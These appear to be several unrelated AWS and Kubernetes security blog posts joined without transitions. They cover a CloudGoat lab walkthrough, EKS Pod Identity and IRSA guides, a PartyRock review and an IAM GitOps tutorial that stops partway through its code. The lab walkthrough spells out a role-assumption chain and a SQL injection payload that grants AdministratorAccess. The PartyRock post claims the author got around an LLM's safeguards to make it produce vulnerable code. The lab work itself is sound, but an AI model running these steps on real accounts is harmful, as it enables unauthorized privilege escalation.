Difficulty: Easy

Hands-On

Task

Initialize the terraform script to set the vulnerable scenario on your AWS account.

./cloudgoat.py create vulnerable_lambda

Once the setup is complete, the new account credentials will be available in the below file.

The task is to use these credentials to authenticate as low privileged user & escalate the privileges in the cloud environment.

Hints

The creator leaves us some hints to leverage & fast-track the win.

Solution

Authenticate using the new credentials. We use bilbo (got from hints screenshot)

# Uses stdout instead of vim to show output
export AWS_PAGER=
aws configure --profile bilbo

Check the user ID and account information

aws sts get-caller-identity --profile bilbo

In the hints screenshot, it says "List IAM" roles. Let's try to do that

aws iam list-roles --profile bilbo | jq '.Roles[].RoleName'

Among tens of roles, these two stand out for me considering, we are solving vulnerable_lambda challenge. Let's see what they are made of!

The <role_name> in the below command will be different for you as its randomly generated. Replace it accordingly.

export ROLE_NAME=cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10
aws iam get-role --profile bilbo --role-name $ROLE_NAME | jq -r '.Role.AssumeRolePolicyDocument.Statement'

We have two roles - one can assume any role as the current user & other can assume a role as lambda. Let's assume the cg-lambda-invoker-... role. To assume, the role, we need the role ARN.

aws iam get-role --profile bilbo --role-name $ROLE_NAME | jq -r '.Role.Arn'

Use the arn from above & use it to assume role

aws sts assume-role --profile bilbo --role-arn arn:aws:iam::558267956267:role/cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10 --role-session-name vulnerable-lambda-session

Create a new profile with this assumed role or export them as environment variables

output=$(aws sts assume-role --profile bilbo --role-arn arn:aws:iam::558267956267:role/cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10 --role-session-name vulnerable-lambda-session)
export AWS_ACCESS_KEY_ID=$(echo $output | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $output | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $output | jq -r '.Credentials.SessionToken')
aws sts get-caller-identity

We can see, the current Arn points to vulnerable-lambda-session, so we are on the right path. Since this user is capable of performing lambda operations, let's try to list the lambda functions.

Lambda functions & analysis

aws lambda list-functions

In the description, we can see, This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...

If that's true, we can add a managed policy like AdministratorAccess to our user & elevate the privileges. To validate, let's download the source code.

# Get function name
aws lambda list-functions | jq -r '.Functions[].FunctionName'
aws lambda get-function --function-name $(aws lambda list-functions | jq -r '.Functions[].FunctionName') |  jq -r '.Code'

Download the source code from this location.

mkdir /tmp/test
wget -O /tmp/test/download.zip $(aws lambda get-function --function-name $(aws lambda list-functions | jq -r '.Functions[].FunctionName') | jq -r '.Code.Location')
cd /tmp/test
unzip download.zip

If you scroll to the end in main.py, we can the payload structure to invoke the lambda function.

{
    "policy_names": [
        "AmazonSNSReadOnlyAccess",
        "AWSLambda_ReadOnlyAccess"
    ],
    "user_name": "cg-bilbo-user"
}

Check the username of the bilbo profile user.

aws sts get-caller-identity --profile bilbo

Now, let's use this bilbo user & try to assign overprivileged permissions. In my case, the user_name is cg-bilbo-vulnerable_lambda_cgid0isrortd10. Save below inforamtion to payload.json

{
    "policy_names": [
        "AmazonSNSReadOnlyAccess",
        "AWSLambda_ReadOnlyAccess",
        "AdministratorAccess"
    ],
    "user_name": "cg-bilbo-vulnerable_lambda_cgid0isrortd10"
}

Let's use the current user with permissions to invoke lambda functions & pass this as input.

aws lambda invoke --function-name vulnerable_lambda_cgid0isrortd10-policy_applier_lambda1 --payload file://./payload.json --cli-binary-format raw-in-base64-out out.txt

If you see the output, it says AdministratorAccess isn't an approved policy.

SQL Injection

If you see the main.py code, there's no validation on user input & it open's up a possibility for SQL injection.

Let's try to create a payload with SQL injection.

{
    "policy_names": [
        "AmazonSNSReadOnlyAccess",
        "AWSLambda_ReadOnlyAccess",
        "AdministratorAccess' --"
    ],
    "user_name": "cg-bilbo-vulnerable_lambda_cgid0isrortd10"
}

Invoke the lambda function!

aws lambda invoke --function-name vulnerable_lambda_cgid0isrortd10-policy_applier_lambda1 --payload file://./payload.json --cli-binary-format raw-in-base64-out out.txt

Let's check the permissions of this bilbo user now. We can check it using list-attached-user-policies

aws sts get-caller-identity --profile bilbo # Get user-name from here
aws iam list-attached-user-policies --profile bilbo --user-name cg-bilbo-vulnerable_lambda_cgid0isrortd10

As you can see in the output, we have now AdministratorAccess

We successfully elevated the privileges to be an administrator.

Scenario

To demonstrate the new feature, I'll borrow a scenario from my previous article on IRSA (IAM Roles for Service Accounts). In short, we will deploy an application on EKS that fetches random images from the internet every 30 seconds, & uploads them to an s3 bucket. Only this time, instead of IRSA, we will use this new feature.

IMAGE=rewanthtammana/secure-eks:pod-identity-demo
git clone https://github.com/rewanthtammana/secure-eks
cd secure-eks/pod-identity-demo
docker build -t $IMAGE .
docker push $IMAGE

Hands-on Demo

Let's create an EKS cluster to experiment.

#config.yaml
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig

metadata:
  name: pod-identity-demo
  region: us-east-1
  version: '1.26'

nodeGroups:
  - name: ng-general
    instanceType: t2.small
    instanceName: pod-identity-demo-node
    desiredCapacity: 1

eksctl create cluster -f config.yaml

List the cluster.

eksctl get clusters

eksctl integrated this new feature in its recent release. Make sure eksctl is updated.

eksctl version

Enable Add On

We need to have eks-pod-identity-agent addon to create a controller to use this feature.

eksctl create addon --name eks-pod-identity-agent --cluster $CLUSTER_NAME

kubectl get ds -A

export SERVICE_ACCOUNT_NAME=anything
eksctl create podidentityassociation --cluster $CLUSTER_NAME --namespace default --service-account-name $SERVICE_ACCOUNT_NAME --permission-policy-arns $policy_arn

aws cloudformation describe-stack-resources --stack-name eksctl-pod-identity-demo-podidentityrole-ns-default-sa-anything

export role_name=$(aws cloudformation describe-stack-resources --stack-name eksctl-pod-identity-demo-podidentityrole-ns-default-sa-anything | jq -r '.StackResources[].PhysicalResourceId')
echo $role_name
aws iam list-attached-role-policies --role-name $role_name

Pod Identity Association

List the podidentityassociation in the EKS clusters.

export CLUSTER_NAME=pod-identity-demo
eksctl get podidentityassociation --cluster $CLUSTER_NAME

Create an AWS policy to write objects to an s3 bucket.

export BUCKET_NAME=random-pod-identity-demo
echo "{
    \"Version\": \"2012-10-17\",
    \"Statement\": [
        {
            \"Effect\": \"Allow\",
            \"Action\": [
                \"s3:PutObject\"
            ],
            \"Resource\": [
                \"arn:aws:s3:::$BUCKET_NAME/*\"
            ]
        }
    ]
}" > s3-$BUCKET_NAME-access.json

export POLICY_NAME=pod-identity-bucket-s3-write-policy
export create_policy_output=$(aws iam create-policy --policy-name $POLICY_NAME --policy-document file://s3-$BUCKET_NAME-access.json)
export policy_arn=$(echo $create_policy_output | jq -r '.Policy.Arn')
echo $policy_arn

Make the s3 bucket, create a service account that was used to create podidentityassociation & create a job using that service account to upload pictures to the s3 bucket.

aws s3 mb s3://$BUCKET_NAME --region us-east-1
kubectl create sa $SERVICE_ACCOUNT_NAME

echo "apiVersion: batch/v1
kind: Job
metadata:
  name: pod-identity-demo
spec:
  template:
    spec:
      serviceAccountName: $SERVICE_ACCOUNT_NAME
      containers:
      - name: pod-identity-demo-container
        image: rewanthtammana/secure-eks:pod-identity-demo
        env:
        - name: AWS_REGION
          value: us-east-1
        - name: S3_BUCKET_NAME
          value: $BUCKET_NAME
      restartPolicy: Never" | kubectl apply -f-

kubectl get jobs
kubectl get po -l job-name=pod-identity-demo
kubectl logs -l job-name=pod-identity-demo

IRSA vs Pod Identity

How does this feature differ from IRSA?

To analyze, let's create a service account that will be used in an IRSA fashion.

eksctl utils associate-iam-oidc-provider \
  --cluster $CLUSTER_NAME \
  --approve
eksctl create iamserviceaccount --name irsa-demo \
  --namespace default \
  --cluster $CLUSTER_NAME \
  --attach-policy-arn $policy_arn \
  --approve

The anything service account is used by the Pod Identity feature and irsa-demo service account. The key difference is in the annotation.

kubectl get sa
kubectl get sa $SERVICE_ACCOUNT_NAME -oyaml
kubectl get sa irsa-demo -oyaml

In the case of IRSA, there's no direct way to identify the list of service accounts that are leveraging IRSA, performing actions, etc. We can definitely have automation & scripts in place to extract the required information but its tedious. With this new AWS feature, this gets a lot easier.

eksctl get podidentityassociation

Inside of Pod Identity Webhook

kubectl get po
kubectl exec -it pod-identity-demo-h49cc sh

When the new feature add-on is enabled, it creates a daemon set that's responsible for all authentication operations & validations.

kubectl get ds -n kube-system eks-pod-identity-agent -oyaml

kubectl logs -n kube-system eks-pod-identity-agent-x5wml

Cleanup

aws iam delete-policy --policy-arn $policy_arn
aws s3 rm s3://$BUCKET_NAME --recursive
aws s3 rb s3://$BUCKET_NAME
eksctl delete cluster --name $CLUSTER_NAME

Conclusion

EKS Pod Identity provides a new simplified & secure way to allow EKS pods to connect with other AWS services. Though AWS has IRSA, managing it at scale is a relatively tedious task when compared with eks-pod-identity-agent.

eksctl get podidentityassociation lists all the service accounts that are connecting with other AWS resources. Subsequently, we can list all pods using those service accounts to see which resources have elevated permissions & audit them.

Just a week ago, AWS launched PartyRock, an Amazon Bedrock Playground. It's a Generative AI app-building platform. No code required, just a web interface that takes text & generates the desired apps. The best part is it's free of cost & doesn't require an AWS account.

We will create a few apps to benchmark the capability of the platform.

CourseFinder: Tailored Learning Pathways

We want to learn new things but with access to unlimited content on the internet, it's hard to find the right path. This CourseFinder app takes input from you & suggests the best courses available. The best part is once you review the results, you can enter the timeframe you've to spend on it & it suggests a tailored path for the timeframe.

The path to learning "iPhone photography".

The path to learning "Asian cooking".

Storytelling: An Innovative Approach

Kids and adults love stories & movies. We wonder what if the storyline takes an alternative approach once in a while. This app generates multiple ways for the story, you can choose any option for the way forward & it generates an image.

This can easily be expanded to write an entire storybook. For example, once the image is generated, create a new widget to suggest the next 4 story lines, take user input, update the image & suggest the next 4 story paths to move ahead. This will be a lot of fun!

Being from a security background, I was curious on how this can help with security related work. Let's benchmark!

CTF Challenges Builder

Security teams are enthusiastic about playing CTFs that include challenges from different areas like cryptography, steganography, web, mobile, network, reversing, malware & so on. We can use this to generate ideas for innovative CTF challenges & chaining of attacks.

NOTE: I'm not making this app public as I hacked my way into the LLMs to make it generate vulnerable code for various tech stacks & exploit it.

SSRF vulnerability

Host Header Injection Vulnerability

Architecture Threat Modeler

Developers, DevOps and security teams review different system architectures regularly looking for misconfigurations & vulnerabilities.

This app takes the architecture design as input,

• Lists all the possible components that are required to build the design

• Once components are identified, it suggests possible Threat Boundaries between all components

• Then, it browses the internet & suggests available open-source projects that match the given architecture

3 tier architecture in AWS

3 tier architecture in Azure

Conclusion

The synchronous prompt chaining feature in PartyRock excited me the most. Updating the main question triggers the execution of the app, generates content & the content is automatically passed as input to a different prompt to perform other operation & so on making it powerful.

I've completed all the challenges & got this certificate.

The challenges are fun & I don't want to spoil the thrill for you. Hence, we won't discuss the solutions here, instead, we will look at what are the types of misconfigurations in each challenge that lead to system compromise.

Challenge 1: Exposed Secrets

• Vulnerability: Unrestricted access to Kubernetes secrets.

• Root Cause: Overly permissive RBAC (Role-Based Access Control) settings that allow broader than necessary access rights revealed the Kubernetes secrets.

• Patch: Restrict access to secrets using RBAC, ensuring only necessary roles have the 'get secrets' permission​​.

Challenge 2: Exposed Image Pull Secrets

• Vulnerability: Improper management of container image pull secrets.

• Root Cause: Lack of segregation and restriction on secret access, allowing unauthorized retrieval of sensitive data.

• Patch: Regularly audit and restrict access to image pull secrets. Apply appropriate RBAC policies.

Challenge 3: Metadata Service Exploitation

• Vulnerability: Unrestricted access to the EC2 instance metadata service (IMDSv1) from within the Kubernetes pod.

• Root Cause: Default configuration of IMDSv1 allows any process within the instance to access sensitive IAM credentials.

• Patch: Restrict or disable IMDSv1 access and migrate to IMDSv2 which requires a token to access metadata​​. Additionally, if not required, block pod access to instance metadata using network policies or iptables.

Challenge 4: IAM Role Misconfiguration

• Vulnerability: The service account had zero permissions, but the ability to assume node’s IAM role led to exploitation.

• Root Cause: Excessive IAM permissions granted to the node role, which can be misused if accessed.

• Patch: Principle of least privilege should be enforced for IAM roles associated with Kubernetes nodes and services​​.

Challenge 5: Flawed IAM Trust Policy

• Vulnerability: Flaws in the IAM role trust policy allowed unintended access.

• Root Cause: The trust policy lacked an essential check on the subject claim, allowing any service account to assume a role in the cluster.

• Patch: Revise IAM trust policies to include stringent conditions, like checking the sub claim to match specific service accounts​​, so others cannot escalate the privileges.

Conclusion

These vulnerabilities are just the tip of the iceberg in containers, Kubernetes & cloud security space. It's always important to have automated systems to look for possible vulnerabilities & misconfigurations.

Want to learn more about EKS security? Make sure to subscribe to the newsletter. I've a series coming up soon!

Different ways to connect with AWS services:

1. Using IAM User Credentials through Environment Variables

2. Assign permissions to the EKS worker nodes

3. IAM Roles for Service Accounts (IRSA)

Prerequisites

Before getting started, a few terminologies to get familiar with.

IRSA refers to "IAM Roles for Service Accounts".

OpenID Connect (OIDC) identity provider is a service in AWS that allows you to manage identity federation and user identities in a scalable and secure way. In the context of Amazon EKS, OIDC is used to associate IAM roles with Kubernetes service accounts. This allows Kubernetes pods to have specific IAM roles, providing a secure and fine-grained way to grant AWS permissions to pods.

Scenario

Assume we have an application that fetches random images from the internet every 30 seconds, & uploads them to an s3 bucket.

To deploy this application, the primary requirement is to enable the application to authenticate with the S3 bucket and push images.

The code is available here. If you want to build your image or use the existing ones.

IMAGE=rewanthtammana/secure-eks:v1
git clone https://github.com/rewanthtammana/secure-eks
cd secure-eks/least-privilege-access
docker build -t $IMAGE .
docker push $IMAGE

Create required AWS resources

Change AWS CLI Output from Vim to Terminal

export AWS_PAGER=

EKS cluster

Make sure to have a cluster. If you don't, create one.

export cluster_name=secure-eks
eksctl create cluster $cluster_name -M 1 -m 1 --ssh-access

Create s3 bucket

export bucket_name=secure-eks-s3-$(uuidgen | tr '[:upper:]' '[:lower:]')
aws s3api create-bucket --bucket $bucket_name
echo "Created bucket: $bucket_name"

Create a policy to allow write operations to this S3 bucket

echo "{
    \"Version\": \"2012-10-17\",
    \"Statement\": [
        {
            \"Effect\": \"Allow\",
            \"Action\": [
                \"s3:PutObject\"
            ],
            \"Resource\": [
                \"arn:aws:s3:::$bucket_name/*\"
            ]
        }
    ]
}" > s3-$bucket_name-access.json

export policy_name=secure-eks-s3-write-policy
export create_policy_output=$(aws iam create-policy --policy-name $policy_name --policy-document file://s3-$bucket_name-access.json)
export policy_arn=$(echo $create_policy_output | jq -r '.Policy.Arn')

Using IAM User Credentials through Environment Variables

Now, we have the cluster & S3 bucket. To ensure our application can connect with the S3 bucket, we need to create an IAM user with permission to access our s3 bucket.

Create IAM user

export iam_user=secure-eks-iam-user
aws iam create-user --user-name $iam_user

Attach the policy to the IAM user

aws iam attach-user-policy --user-name $iam_user --policy-arn $policy_arn

Create access & secret key for IAM user

export results=$(aws iam create-access-key --user-name $iam_user)
export access_key=$(echo $results | jq -r '.AccessKey.AccessKeyId')
export secret_key=$(echo $results | jq -r '.AccessKey.SecretAccessKey')
echo "Access Key: $access_key"
echo "Secret Key: $secret_key"

Create Kubernetes Job

With the above information of access & secret key, we can allow our application to connect with a specific s3 bucket.

echo "apiVersion: batch/v1
kind: Job
metadata:
  name: environment-variables-job
spec:
  template:
    spec:
      containers:
      - name: environment-variables-container
        image: rewanthtammana/secure-eks:v1
        env:
        - name: AWS_REGION
          value: us-east-1
        - name: AWS_ACCESS_KEY
          value: $access_key
        - name: AWS_SECRET_KEY
          value: $secret_key
        - name: S3_BUCKET_NAME
          value: $bucket_name
      restartPolicy: Never" | kubectl apply -f-

Summary

We successfully connected our application with the AWS S3 bucket to push its images. But from an operational & security standpoint, this isn't the best approach.

• It's complex to maintain, rotate & secure these credentials from leaking.

• What if someone gets their hand on the authentication details?

• What if they use it to exfiltrate the data?

• What if they use it to manipulate the information?

• How to differentiate b/w legitimate & malicious requests?

A lot of questions pop up & it ain't pretty. We will discuss alternate & better ways to accomplish the goal in the following sections.

Cleanup

Delete the resources before proceeding to next section

aws iam detach-user-policy --user-name $iam_user --policy-arn $policy_arn
aws iam delete-access-key --access-key-id $access_key --user $iam_user
aws iam delete-user --user-name $iam_user

Assign permissions to the EKS worker nodes

In the above scenario, we learned that it's challenging to secure and rotate the access keys, etc. An alternative approach would be to assign permissions to the EKS worker nodes to access the s3 bucket.

Get EKS worker node ARN

In this case, we created a single-node cluster, so we have only one worker node.

eks_worker_node_role_name=$(eksctl get nodegroup --cluster $cluster_name -o json | jq -r '.[].NodeInstanceRoleARN' | cut -d '/' -f 2)

Attach the policy to the EKS worker node role

aws iam attach-role-policy --role-name $eks_worker_node_role_name --policy-arn $policy_arn

Create Kubernetes Job

Make sure you have the bucket_name environment variable.

echo "apiVersion: batch/v1
kind: Job
metadata:
  name: environment-variables-job
spec:
  template:
    spec:
      containers:
      - name: environment-variables-container
        image: rewanthtammana/secure-eks:ok-amd64
        env:
        - name: AWS_REGION
          value: us-east-1
        - name: S3_BUCKET_NAME
          value: $bucket_name
      restartPolicy: Never" | kubectl apply -f-

Summary

This is better than the previous method but the issue with this approach is that any pod created on this node will have excessive permissions, in this case, S3 bucket push permissions violating the least privilege principle. To overcome these risks, we will use IRSA.

Cleanup

Detach the role policy before proceeding to next section

aws iam detach-role-policy --role-name $eks_worker_node_role_name --policy-arn $policy_arn

IAM Roles for Service Accounts (IRSA)

Check if the IAM OpenID Connect provider status

eksctl get cluster $cluster_name -ojson | jq -r '.[].Tags["alpha.eksctl.io/cluster-oidc-enabled"]'

Create IAM OpenID Connect provider

If it's not enabled, enable it

eksctl utils associate-iam-oidc-provider --cluster $cluster_name --approve

Create a policy to allow access to the S3 bucket

echo "{
    \"Version\": \"2012-10-17\",
    \"Statement\": [
        {
            \"Effect\": \"Allow\",
            \"Action\": [
                \"s3:PutObject\"
            ],
            \"Resource\": [
                \"arn:aws:s3:::$bucket_name/*\"
            ]
        }
    ]
}" > s3-$bucket_name-access.json

export policy_name=secure-eks-s3-write-policy
export create_policy_output=$(aws iam create-policy --policy-name $policy_name --policy-document file://s3-$bucket_name-access.json)
export policy_arn=$(echo $create_policy_output | jq -r '.Policy.Arn')

Create an IAM service account with the above policy

eks_service_account=s3-write-service-account
eksctl create iamserviceaccount --name $eks_service_account --namespace default --cluster $cluster_name --attach-policy-arn $policy_arn --approve

Create Kubernetes Job

echo "apiVersion: batch/v1
kind: Job
metadata:
  name: environment-variables-job
spec:
  template:
    spec:
      serviceAccountName: $eks_service_account
      containers:
      - name: environment-variables-container
        image: rewanthtammana/secure-eks:ok-amd64
        env:
        - name: AWS_REGION
          value: us-east-1
        - name: S3_BUCKET_NAME
          value: $bucket_name
      restartPolicy: Never" | kubectl apply -f-

CloudFormation, JWT, X509 & more

Examine CloudFormation of IAM service account creation

If we observe the above output, CloudFormation was used to create the required resources. Let's have a look at CloudFormation to see a list of created resources.

Click on the "Physical ID" link to look at the role permissions

Now, we know the service account, s3-write-service-account is linked to IAM role that has permission to upload data to a specific s3 bucket.

Examine service account

Let's enumerate the service account for more information.

kubectl get sa $eks_service_account -oyaml

Examine secrets associated with the service account

Get the contents of the secret associated with the service account

sa_secret_name=$(kubectl get sa $eks_service_account -ojson | jq -r '.secrets[0].name')
kubectl get secrets $sa_secret_name -oyaml

Examine X.509 ca.crt in the secret associated with the service account

In the above image, we can see the ca.crt certificate. Let's decode the certificate to view information like expiry, issuer, etc.

kubectl get secret $sa_secret_name -o json | jq -r '.data."ca.crt"' | base64 -d
kubectl get secret $sa_secret_name -o json | jq -r '.data."ca.crt"' | base64 -d > certificate.pem

Check the subject & issuer of the certificate

openssl x509 -in certificate.pem -subject -issuer -noout

Check the expiry of the certificate

openssl x509 -in certificate.pem -dates -noout

Examine the token in the secret associated with the service account

kubectl get secret $sa_secret_name -o json | jq -r '.data."token"' | base64 -d

Examine the JWT token in jwt.io

Copy the token from the above step, visit jwt.io & paste it there. As you can see below, the token consists of a lot of information like issuer, namespace, secret name, service account name, etc. If you try to change any of it, the token gets invalidated.

Cleanup

# From previous sections, if you missed there
aws iam detach-user-policy --user-name $iam_user --policy-arn $policy_arn
aws iam detach-role-policy --role-name $eks_worker_node_role_name --policy-arn $policy_arn
aws iam delete-access-key --access-key-id $access_key --user $iam_user
aws iam delete-user --user-name $iam_user

# Actual cleanup
aws iam delete-policy --policy-arn $policy_arn
aws s3 rm s3://$bucket_name --recursive
aws s3 rb s3://$bucket_name
eksctl delete iamserviceaccount --name $eks_service_account --namespace default --cluster $cluster_name
eksctl delete cluster --name $cluster_name

Conclusion

To conclude, securing access control within Amazon EKS, especially when interacting with other AWS services is a meticulous approach to safeguard against unauthorized access and potential breaches. Through the exploration of various methods in this blog - from embedding IAM user credentials and assigning permissions to EKS worker nodes to the more refined and secure method using IAM Roles for Service Accounts (IRSA) - we've traversed through the landscape of EKS security.

IRSA stands out in terms of security and manageability, providing a mechanism that adheres to the principle of least privilege by assigning AWS permissions to pods, not nodes, thereby reducing the attack surface. It leverages the existing IAM OpenID Connect (OIDC) provider, ensuring a secure and auditable way to utilize AWS services directly from Kubernetes workloads.

This is not the end. Security is an ever-evolving domain & as technologies advance, so do the methodologies to exploit them.

In the modern era of cloud computing, managing infrastructure has evolved beyond manual configurations to embrace GitOps, a paradigm rooted in Infrastructure as Code (IaC). In this comprehensive guide, we'll delve into managing AWS Identity and Access Management (IAM) using a GitOps approach, facilitated by tools like Terraform and Docker, as well as key AWS services. If you're new to AWS, this guide serves as an ideal hands-on introduction, covering essential AWS services like Lambda, EventBridge, CloudTrail, CloudWatch, ECR, and S3.

Prerequisites

• AWS account

• AWS CLI

• Github account

• Terraform

• Docker

Task

In this blog, we will try to build a gitops-driven (IaC) approach for AWS IAM management. If anyone makes a change to IAM Roles/Policies/SCPs (Service Control Policies), update the change to Github. If someone makes a change in Github, update the policy configuration on AWS.

For this demo, the code is available here - aws-iam-gitops

Architecture

First, we need to understand the components required to achieve our goal. This is the architectural overview of the system to be built.

Components

GitHub

This is where all the information on IAM Roles, Policies & SCPs will be stored. Make sure to create a Personal Access Token (PAT) with read & write access to the given repository.

IAM

This is where all the Identity and Access Management information is stored.

Cloudtrail

This will log every single operation that occurs on an AWS account.

S3 bucket

This is where all the logs of Cloudtrail are stored.

EventBridge

This will make it easy to build event-driven applications. In this case, the events we are looking for are IAM changes. We can configure EventBridge to notify/react whenever an IAM change event occurs.

Lambda

This will run the given code/container. We don't need to own a server to execute code. In this case, it will be triggered by the EventBridge when an IAM change occurs.

Cloudwatch

This is where the Lambda logs are stored.

ECR

Elastic Container Registry (ECR) will be used by Lambda to fetch the container image that it has to run.

Trust Boundaries

Lambda to ECR

Lambda has permission to pull images from ECR.

Lambda to IAM

Lambda has permission to list roles & policies.

Lambda to Organizations

Lambda has permissions to list SCPs.

Lambda to GitHub

Lambda uses GitHub tokens to interact with the GitHub API.

EventBridge to Lambda

EventBridge has permissions to trigger the Lambda function.

CloudTrail to S3

CloudTrail has permission to write logs to the S3 bucket.

EventBridge to CloudTrail

EventBridge reads from CloudTrail to trigger events.

Workflow

Initialization

1. Terraform script sets up all AWS resources.

2. The lambda function clones the GitHub repo.

Event Trigger

1. Any change in AWS IAM or Organizations is logged by CloudTrail.

2. EventBridge picks up the change and triggers the Lambda function.

Lambda Execution

1. The lambda function lists all IAM roles, policies, and SCPs.

2. Write this information to the GitHub repo.

Commit to Github

1. The lambda function commits and pushes the changes to the GitHub repo.

Terraform Destroy

1. Optionally, terraform destroy can be used to remove all AWS resources, except for those not created by it.

Logging

1. All Lambda function logs are stored in CloudWatch Log Groups.

Building systems - One click

# Change environment variables (MUST/MANDATORY)
# Make sure TF_VAR_GITHUB_REPO exists on your GitHub
export TF_VAR_GITHUB_USERNAME=rewanthtammana
export TF_VAR_GITHUB_REPO=testaws
export TF_VAR_GITHUB_TOKEN=

# Change environment variables (Optional)
export TF_VAR_ECR_REPO_NAME=aws-iam-gitops

# Change environment variables (Optional - the suffix is used in image name, role name, lambda function name, policy name, event bridge name, s3 bucket name & cloud trail name)
export TF_VAR_RANDOM_SUFFIX=31
export TF_VAR_RANDOM_PREFIX=aws-iam-gitops

# Change environment variables - Recommended to leave them as it is but feel free to change them
export TF_VAR_ECR_REPO_TAG=v${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_AWS_PAGER=
export TF_VAR_ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export TF_VAR_REGION=us-east-1
export TF_VAR_ROLE_NAME=${TF_VAR_RANDOM_PREFIX}-lambda-role-${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_IMAGE=${TF_VAR_ACCOUNT_ID}.dkr.ecr.${REGION}.amazonaws.com/${TF_VAR_ECR_REPO_NAME}:${TF_VAR_ECR_REPO_TAG}
export TF_VAR_LAMBDA_FUNCTION_NAME=${TF_VAR_RANDOM_PREFIX}-${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_POLICY_NAME=${TF_VAR_RANDOM_PREFIX}-lambda-permissions-${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_LAMBDA_TIMEOUT=120
export TF_VAR_EVENTBRIDGE_NAME=${TF_VAR_RANDOM_PREFIX}-${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_S3_BUCKET_NAME=${TF_VAR_RANDOM_PREFIX}-${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_CLOUDTRAIL_NAME=${TF_VAR_RANDOM_PREFIX}-${TF_VAR_RANDOM_SUFFIX}

# AWS components
aws ecr create-repository --repository-name ${TF_VAR_ECR_REPO_NAME}
aws ecr get-login-password --region ${TF_VAR_REGION} | docker login --username AWS --password-stdin ${TF_VAR_ACCOUNT_ID}.dkr.ecr.${TF_VAR_REGION}.amazonaws.com
docker build --platform linux/amd64 --build-arg GITHUB_USERNAME=${TF_VAR_GITHUB_USERNAME} --build-arg GITHUB_REPO=${TF_VAR_GITHUB_REPO} --build-arg GITHUB_TOKEN=${TF_VAR_GITHUB_TOKEN} -t ${TF_VAR_IMAGE} .
docker push ${TF_VAR_IMAGE}
terraform init
terraform apply

Building systems - TLDR

GitHub

Make sure to create a Personal Access Token (PAT) with read & write access to the given repository.

Initialize variables

We will use Terraform to build the entire system except for ECR. Focus only on the variables that need to be changed, the other variables can be ignored.

# Change environment variables (MUST/MANDATORY)
# Make sure TF_VAR_GITHUB_REPO exists on your GitHub
export TF_VAR_GITHUB_TOKEN=
export TF_VAR_GITHUB_USERNAME=rewanthtammana
export TF_VAR_GITHUB_REPO=testaws

# Change environment variables (Optional)
export TF_VAR_ECR_REPO_NAME=aws-iam-gitops

# Change environment variables (Optional - the suffix is used in image name, role name, lambda function name, policy name, event bridge name, s3 bucket name & cloud trail name)
export TF_VAR_RANDOM_SUFFIX=31
export TF_VAR_RANDOM_PREFIX=aws-iam-gitops

# Change environment variables - Recommended to leave them as it is but feel free to change them
export TF_VAR_ECR_REPO_TAG=v${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_AWS_PAGER=
export TF_VAR_ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export TF_VAR_REGION=us-east-1
export TF_VAR_ROLE_NAME=${TF_VAR_RANDOM_PREFIX}-lambda-role-${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_IMAGE=${TF_VAR_ACCOUNT_ID}.dkr.ecr.${REGION}.amazonaws.com/${TF_VAR_ECR_REPO_NAME}:${TF_VAR_ECR_REPO_TAG}
export TF_VAR_LAMBDA_FUNCTION_NAME=${TF_VAR_RANDOM_PREFIX}-${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_POLICY_NAME=${TF_VAR_RANDOM_PREFIX}-lambda-permissions-${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_LAMBDA_TIMEOUT=120
export TF_VAR_EVENTBRIDGE_NAME=${TF_VAR_RANDOM_PREFIX}-${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_S3_BUCKET_NAME=${TF_VAR_RANDOM_PREFIX}-${TF_VAR_RANDOM_SUFFIX}
export TF_VAR_CLOUDTRAIL_NAME=${TF_VAR_RANDOM_PREFIX}-${TF_VAR_RANDOM_SUFFIX}

Lambda function

Let's start with writing a Lambda function that will sync the desired IAM resources to GitHub. I will use Python for the time being but feel free to use any supported tech stack.

To summarize the below code,

1. We define a handler function that will be used by AWS Lambda for execution.

    def handler(event, context):
        #.....
   

2. Import boto3 Python SDK to fetch AWS IAM information.

    # AWS clients
    iam = boto3.client('iam')
    orgs = boto3.client('organizations')
   

3. Define placeholders for all required variables. DO NOT CHANGE THEM.

    # GitHub credentials
    github_username = "GITHUB_USERNAME"
    github_token = "GITHUB_TOKEN"
    github_repo_name = "GITHUB_REPO"
   

4. Clone the destination repository where you want to push your code. Several limitations with consuming direct APIs from PyGithub, hence we will use the old way.

    random_string = str(randrange(100, 100000))
    local_repo = f"/tmp/{random_string}"
   
    repo_url = f"https://{github_username}:{github_token}@github.com/{github_username}/{github_repo_name}.git"
    clone_command = f"git clone --depth 1 {repo_url} {local_repo}"
    os.system(clone_command)
   

5. Fetch the IAM information for Roles, Policies & SCPs. By default AWS APIs return only 100 results, hence we have to paginate the resources for a complete list. Once we have them, create a file for each entry on GitHub.

    # Create new folders and populate them
    for client, category in [(iam, "roles"), (iam, "policies"), (orgs, "scps")]:
        os.makedirs(category, exist_ok=True)
        items = []
        if category == "roles":
            paginator = client.get_paginator('list_roles')
            for page in paginator.paginate():
                items.extend(page['Roles'])
        elif category == "policies":
            paginator = client.get_paginator('list_policies')
            for page in paginator.paginate(Scope='All'):
                items.extend(page['Policies'])
        else:  # category == "scps"
            paginator = orgs.get_paginator('list_policies')
            for page in paginator.paginate(Filter='SERVICE_CONTROL_POLICY'):
                items.extend(page['Policies'])
            for item in items:
                policy_detail = orgs.describe_policy(PolicyId=item['Id'])
                item.update(policy_detail['Policy'])
   
        for item in items:
            file_name = f"{item['RoleName']}.json" if category == "roles" else f"{item['PolicyName']}.json" if category == "policies" else f"{item['Id']}.json"
